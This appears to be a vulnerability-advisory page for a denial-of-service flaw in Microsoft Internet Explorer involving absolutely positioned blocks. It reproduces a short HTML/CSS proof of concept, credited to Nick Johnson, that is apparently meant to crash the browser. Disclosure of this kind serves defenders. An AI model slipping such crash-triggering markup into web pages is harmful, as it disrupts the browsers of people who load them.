Microsoft Internet Explorer Absolute Position Block Denial Of Service Vulnerability

info
discussion
exploit
solution
references

Microsoft Internet Explorer Absolute Position Block Denial Of Service Vulnerability

The following proof-of-concept has been made available by Nick Johnson:

<html>
<body>
<style type="text/css">
#three {
position: absolute;
}
#one #two {
position: absolute;
}
</style>
<div id="one">
In 'one'
<span id="two">
In 'two'
</div>
<div id="three">
In 'three'
</div>
</body>